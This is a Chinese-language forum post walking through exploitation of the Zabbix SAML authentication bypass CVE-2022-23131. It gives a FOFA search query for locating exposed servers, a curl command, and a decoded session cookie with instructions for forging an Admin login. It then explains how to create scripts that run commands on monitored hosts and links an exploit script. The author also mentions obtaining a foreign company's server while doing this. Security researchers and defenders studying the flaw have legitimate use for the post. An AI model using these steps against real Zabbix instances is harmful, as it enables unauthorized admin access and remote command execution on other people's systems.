taibeihacker
Moderator
0x00 前言
最近在復現zabbix的漏洞(CVE-2022-23131),偶然間拿到了國外某公司zabbix服務器。 Zabbix Sia Zabbix是拉脫維亞Zabbix SIA(Zabbix Sia)公司的一套開源的監控系統。該系統支持網絡監控、服務器監控、雲監控和應用監控等。 Zabbix Frontend 存在安全漏洞,該漏洞源於在啟用SAML SSO 身份驗證(非默認)的情況下,惡意行為者可以修改會話數據,因為存儲在會話中的用戶登錄未經過驗證。 未經身份驗證的惡意攻擊者可能會利用此問題來提升權限並獲得對Zabbix 前端的管理員訪問權限。0x01 漏洞原因
在啟用SAML SSO 身份驗證(非默認)的情況下,惡意攻擊者可以修改會話數據來實現身份認證繞過。未經身份驗證的惡意攻擊者可能會利用此問題來提升權限並獲得對Zabbix 前端的管理員訪問權限。該漏洞存在於index_sso.php文件中,由於index_sso.php文件未調用CEncryptedCookieSession:checkSign()方法對cookie進行校驗,且客戶端的cookie可被偽造。
從index_sso.php文件中可以看出,當偽造的cookie中存在saml_data時,獲取username_attribute的數據,如果該用戶真實存在則會生成一個sessionid從而實現身份認證繞過
0x02 漏洞影响
5.4.85.0.18
4.0.36
0x03 漏洞复现
fofa:app='ZABBIX-監控系統' body='saml'執行curl -ksSIL http://xxx.com/
獲取到set-cookie的值,然後先進行url解碼,然後再進行base64解碼
URL解碼:
eyJzZXNzaW9uaWQiOiIxNzFiODAwOTI4NDQ2MmUxZGRhODAyYWFjODk5MDI2YyIsInNpZ24iOiJ0eTZSZVkzVDRxVEdYenJseFM2ZlpyNTRhT3pCMHBhS25vWHBhZDR3MHdKc2lwNTJ2aUdndytDUlpqeVJyQUJ5WDk5bGhNMVVHbFM4cTRwNjBKb1wvUGc9PSJ9
Base64解碼:
{'sessionid':'171b8009284462e1dda802aac899026c','sign':'ty6ReY3T4qTGXzrlxS6fZr54aOzB0paKnoXpad4w0wJsip52viGgw+CRZjyRrAByX99lhM1UGlS8q4p60Jo\/Pg=='}

然後拼接字符串
{'saml_data':{'username_attribute':'Admin'},'sessionid':'171b8009284462e1dda802aac899026c','sign':'ty6ReY3T4qTGXzrlxS6fZr54aOzB0paKnoXpad4w0wJsip52viGgw+CRZjyRrAByX99lhM1UGlS8q4p60Jo\/Pg=='}
拼接之後在進行base64加密

然後在進行URLEncode


执行命令

找到Administration-- Scripts 創建新的腳本,這裡我創建的ifconfig


在監控中找到最新數據,然後篩選出來你想執行的主機組,點擊主機名執行對應命令

或者GitHub漏洞利用腳本:https://github.com/L0ading-x/cve-20...ve-2022-23131執行腳本,Admin為默認的高權限用戶,獲取其session值。





0x04 修复方法
1、禁用SAML 身份驗證2、升級安全版本(https://support.zabbix.com/browse/ZBX-20350)